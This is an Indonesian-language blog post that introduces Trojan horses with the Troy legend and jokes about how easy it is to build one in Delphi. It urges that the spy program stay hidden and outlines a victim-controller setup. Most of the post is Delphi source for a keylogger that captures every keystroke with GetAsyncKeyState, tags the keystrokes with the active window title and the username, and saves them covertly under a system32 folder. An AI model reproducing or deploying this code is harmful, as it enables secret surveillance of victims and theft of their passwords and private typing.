<h1>Trojan Horse</h1>

Sebagai Penyegaran, kali ini saya akan membahas tentang virus Trojan atau yang umumnya orang mengenal sebagai Trojan Horse yang sering kali menginfeksi komputer-komputer berbasis windows, apa sih sebenarnya virus Trojan itu?

Trojan Horse merupakan suatu program yang berbahaya dan jahat atau malicious program, yang dirancang untuk mencuri / mata-mata untuk merusak sistem. pada mulanya, virus ini diciptakan dari sebuah ide yang diambil dari sejarah perang Troya. ketika itu, para petinggi Yunani sulit untuk menembus pertahanan Troya, lalu mereka bersembunyi dalam sebuah kuda yang sangat besar, akibatnya penduduk dan pemerintah Troya terlena, mengira bahwa Yunani telah putus asa, dan akhirnya mengundurkan diri ( inget film Troy? ). kota Troya akhirnya hancur. gt ceritanya.

sebenarnya membuat Virus Trojan sangat sederhana, hanya membutuhkan program Borland Delphi,seperangkat komputer, nasi goreng (klo laper), kopi, rokok, cemilan (tambahan), (hehehe).

yang penting, yang harus diingat!!! , program ini adalah program mata-mata, jadi harus sembunyi-sembunyi ya...

prinsipnya seperti ini

1. Victim Computer Server : yang akan menjalankan Virus trojan.

2. Network : terhubung dengan Victim Computer Server dan Trojan Controller.

3. Trojan Controller : untuk mengontrol kinerja virus Trojan, dan merupakan sumber perintah bagi virus trojan ( keylogger reader, remote shutdown, desktop hack).

Source Code nya.

/ unit untOffLineLogger;<br /> interface<br /> uses SysUtils, unit1, Windows;<br /> procedure OLGetLetter<br /> function OLShift:Boolean<br /> function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;<br /> procedure OLShowLetter(strLetter:string);<br /> function OLActiveCaption:string;<br /> implementation;<br /> var<br />    cWindow:string;<br /> const cr_lf = chr(13)+chr(10);<br /> procedure OLGetLetter;<br /> var <br /> j:Integer;<br /> a:string;<br /> begin <br /> //Verify if lettrers 'A'..'Z'..'a'..'z' is pressed<br /> //basicly to see if its a or A check the state of the caps and shift keys<br /> //same gows with every thing alse liek you 1 or ! :P<br /> for j:=65 to 90 do<br /> if Odd(GetAsyncKeyState(j)) then<br /> if Odd(GetKeyState(VK_CAPITAL)) then<br /> if GetKeyState(VK_SHIFT)<0 then<br /> OLShowLetter(LowerCase(Chr(j)))<br /> else<br /> OLShowLetter(UpperCase(Chr(j)))<br /> else<br /> if GetKeyState(VK_SHIFT)<0 then<br /> OLShowLetter(UpperCase(Chr(j)))<br /> else<br /> OLShowLetter(LowerCase(Chr(j)));<br /> //Verify if numpab is pressed<br /> for j:=96 to 105 do<br /> if Odd(GetAsyncKeyState(j)) then<br /> OLShowLetter(IntToStr((j - 97) + 1));<br /> //Verify if F1 to F24 is pressed<br /> for j:=112 to 135 do<br /> if Odd(GetAsyncKeyState(j)) then<br /> OLShowLetter('{F' + IntToStr(j - 112 + 1) + '}');<br /> //Verify if number 0 to 9 is pressed<br /> for j:=48 to 57 do<br /> if Odd(GetAsyncKeyState(j)) then<br /> if OLShift then<br /> begin<br /> case j - 48 of<br /> 1: OLShowLetter('!');<br /> 2: OLShowLetter('@');<br /> 3: OLShowLetter('#');<br /> 4: OLShowLetter('$');<br /> 5: OLShowLetter('%');<br /> 6: OLShowLetter('^');<br /> 7: OLShowLetter('&');<br /> 8: OLShowLetter('*');<br /> 9: OLShowLetter('(');<br /> 0: OLShowLetter(')');<br /> end;<br /> end<br /> else<br /> OLShowLetter(IntToStr(j - 48));<br /> if Odd(GetAsyncKeyState(VK_BACK)) then form1.Memo1.Text:=Copy(form1.Memo1.Text,1,Length(form1.Memo1.Text)-1);if Odd(GetAsyncKeyState(VK_TAB)) then OLShowLetter('{TAB}');<br /> if Odd(GetAsyncKeyState(VK_RETURN)) then OLShowLetter(#13#10);<br /> //ok i added this in just so you know the all functions :P<br /> if Odd(GetAsyncKeyState(VK_SHIFT)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_CONTROL)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_MENU)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_PAUSE)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_ESCAPE)) then OLShowLetter('{ESC}');<br /> if Odd(GetAsyncKeyState(VK_SPACE)) then OLShowLetter(' ');<br /> if Odd(GetAsyncKeyState(VK_END)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_HOME)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_LEFT)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_RIGHT)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_UP)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_DOWN)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_INSERT)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_MULTIPLY)) then OLShowLetter('*');<br /> if Odd(GetAsyncKeyState(VK_ADD)) then OLShowLetter('+');<br /> if Odd(GetAsyncKeyState(VK_SUBTRACT)) then OLShowLetter('-');<br /> if Odd(GetAsyncKeyState(VK_DECIMAL)) then OLShowLetter('.');<br /> if Odd(GetAsyncKeyState(VK_DIVIDE)) then OLShowLetter('/');<br /> if Odd(GetAsyncKeyState(VK_NUMLOCK)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_CAPITAL)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_SCROLL)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_DELETE)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_PRIOR)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_NEXT)) then OLShowLetter('');<br /> if Odd(GetAsyncKeyState(VK_PRINT)) then OLShowLetter('{PRINT SCREEN}');<br /> if OLMoreChars($BA,':',';',a) then OLShowLetter(a);<br /> if OLMoreChars($BB,'+','=',a) then OLShowLetter(a);<br /> if OLMoreChars($BC,'<',',',a) then OLShowLetter(a);<br /> if OLMoreChars($BD,'_','-',a) then OLShowLetter(a);<br /> if OLMoreChars($BE,'>','.',a) then OLShowLetter(a);<br /> if OLMoreChars($BF,'?','/',a) then OLShowLetter(a);<br /> if OLMoreChars($C0,'~','`',a) then OLShowLetter(a);<br /> if OLMoreChars($DB,'{','[',a) then OLShowLetter(a);<br /> if OLMoreChars($DC,'|','\',a) then OLShowLetter(a);<br /> if OLMoreChars($DD,'}',']',a) then OLShowLetter(a);<br /> if OLMoreChars($DE,'"','''',a) then OLShowLetter(a);<br />    {PrintScreen}<br /> end;<br /> function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean;<br /> begin<br />    OLMoreChars:=True;<br />    if Odd(GetAsyncKeyState(CharNumber)) then<br />    begin<br />       if OLShift then<br />          Answer:=TruePart<br />       else<br />          Answer:=FalsePart;<br />       Exit;<br />    end;<br />    OLMoreChars:=False;<br /> end;<br /> function OLShift:Boolean;<br /> begin<br />    OLShift:=GetAsyncKeyState(VK_SHIFT) <> 0;<br /> end;<br><br>procedure OLShowLetter(strLetter:string);<br /> const<br />   cnMaxUserNameLen = 254;<br /> var<br />   cActive:string;<br />   sUserName     : string;<br />   dwUserNameLen : DWord;<br /> begin<br />   dwUserNameLen := cnMaxUserNameLen-1;<br />   SetLength( sUserName, cnMaxUserNameLen );<br />   GetUserName(PChar(sUserName), dwUserNameLen);<br />   SetLength(sUserName, dwUserNameLen);<br />   cActive:=OLActiveCaption;<br /> if cWindow <> cActive then<br /> begin<br /> cWindow:=cActive;<br /> strLetter:=cr_lf+'focused window:' + cWindow + cr_lf + strLetter;<br /> end;<br /> form1.Memo1.Text:=form1.Memo1.Text + strLetter;<br /> if DirectoryExists('c:\winnt') then<br /> form1.Memo1.Lines.SaveToFile('c:\winnt\system32\winux\' + sUserName + '.joo')<br /> else<br /> form1.Memo1.Lines.SaveToFile('c:\windows\system32\winux\' + sUserName + '.joo');<br /> end;<br /> function OLActiveCaption:string;<br /> var<br />    Handle:THandle;<br />    Len:LongInt;<br />    Title:string;<br /> begin<br />    Handle:=GetForegroundWindow;<br />    Len:=GetWindowTextLength(Handle) + 1;<br />    SetLength(Title,Len);<br />    GetWindowText(Handle,PChar(Title),Len);<br />    OLActiveCaption:=TrimRight(Title);<br /> end;<br /> end.<br />

gt aja deh, script keyloggernya... cape jg ngetiknya....

lanjut nantin lg aja ya..